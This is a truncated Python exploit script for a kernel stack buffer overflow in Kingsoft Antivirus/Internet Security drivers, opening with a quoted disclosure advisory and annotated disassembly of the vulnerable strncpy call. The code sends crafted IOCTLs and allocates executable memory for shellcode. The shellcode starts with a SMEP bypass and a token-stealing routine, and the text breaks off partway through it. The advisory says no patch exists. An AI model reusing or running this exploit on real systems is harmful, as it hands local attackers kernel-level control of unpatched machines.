''' Vulnerability Summary The following advisory describes a kernel stack buffer overflow that leads to privilege escalation found in Kingsoft Antivirus/Internet Security 9+. Kingsoft Antivirus aprovides effective and efficient protection solution at no cost to users. It applies cloud security technology to monitor, scan and protect your systems without any worrying. The comprehensive defender and anti-virus tools prevent and protect your computer from unwanted virus, worms, and Trojans. With the simplest and easiest-to-use functions, users find themselves no difficulty to handle Kingsoft Antivirus.a Credit An independent security researcher, Steven Seeley, has reported this vulnerabilities to Beyond Securityas SecuriTeam Secure Disclosure program Vendor response We tried to contact Kingsoft since October 8 2017, repeated attempts to establish contact went unanswered. At this time there is no solution or workaround for these vulnerability. Vulnerability details This vulnerability allows local attackers to escalate privileges on vulnerable installations of Kingsoft Internet Security. The specific flaws exists within the processing of IOCTL 0x80030004 or 0x80030008 by either the kavfm.sys (anti-virus) or the KWatch3.sys (internet security) kernel driver. The driver doesnat properly validate user-supplied data which can result in a kernel stack buffer overflow. An attacker can leverage this vulnerability to execute arbitrary code under the context of kernel. ; jumptable 000117C1 case 0 .text:000117C8 loc_117C8: ; CODE XREF: sub_11790+31 .text:000117C8 .text:000117C8 push ebx ; our input buffer size .text:000117C9 lea ecx, [esp+58h+var_40] ; this is a fixed size stack buffer of 0x40 .text:000117CD push edi ; our input buffer .text:000117CE push ecx ; char * .text:000117CF call strncpy ; stack buffer overflow .text:000117D4 add esp, 0Ch .text:000117D7 lea edx, [esp+54h+var_40] .text:000117DB push edx ; char * .text:000117DC mov [esp+ebx+58h+var_40], 0 .text:000117E1 call sub_167B0 .text:000117E6 pop edi .text:000117E7 mov esi, eax .text:000117E9 pop esi .text:000117EA pop ebp .text:000117EB pop ebx .text:000117EC add esp, 44h .text:000117EF retn 8 ''' import sys from ctypes import * from time import sleep from ctypes.wintypes import * import struct import os from random import choice kernel32 = windll.kernel32 ntdll = windll.ntdll MEM_COMMIT = 0x00001000 MEM_RESERVE = 0x00002000 PAGE_EXECUTE_READWRITE = 0x00000040 STATUS_SUCCESS = 0 def get_ioctl(): return choice([0x80030004, 0x80030008]) def alloc_shellcode(base, input_size): """ allocates some shellcode """ print "(+) allocating shellcode @ 0x%x" % base baseadd = c_int(base) size = c_int(input_size) # --[ setup] input = struct.pack("<I", 0x000506f8) # bypass smep # --[ setup] input += "\x60" # pushad input += "\x64\xa1\x24\x01\x00\x00" # mov eax, fs:[KTHREAD_OFFSET] # I have to do it like this because windows is a little special # this just gets the EPROCESS.
